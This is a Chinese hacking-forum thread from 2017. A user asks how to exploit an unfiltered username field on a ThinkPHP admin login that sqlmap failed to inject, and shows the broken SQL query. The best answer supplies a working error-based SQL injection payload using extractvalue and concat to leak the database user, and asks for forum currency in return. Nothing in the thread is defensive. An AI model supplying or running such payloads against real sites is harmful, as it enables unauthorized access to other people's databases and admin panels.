请选择进入手机版 | 继续访问电脑版

中国红客联盟 - 08安全团队»社区首页 › Web攻防 › 技术问答 › 注入求助，SELECT * FROM `dd_admin` WHERE ( username= ...

发新帖

查看: 804|回复: 1

注入求助，SELECT * FROM `dd_admin` WHERE ( username='admin'' ) LIMIT 1

TA的每日心情

	开心 2018-11-11 09:18

签到天数: 6 天

[LV.2]偶尔看看I

发表于 2017-8-5 11:06:15 | 显示全部楼层 |阅读模式

10i币

thinkphp框架，后台登陆username未过滤，SELECT * FROM `dd_admin` WHERE ( username='admin'' ) LIMIT 1，sqlmap也无法注入，求大神！

最佳答案

查看完整内容

')and extractvalue(1,concat(0x7e,user()))%23 ko. i币转来吧！

回复

使用道具举报

TA的每日心情

	奋斗 2017-10-1 09:06

签到天数: 380 天

[LV.9]以坛为家II

发表于 2017-8-5 11:06:16 | 显示全部楼层

')and extractvalue(1,concat(0x7e,user()))%23
ko. i币转来吧！

回复

使用道具举报

发新帖

快速回复 返回顶部 返回列表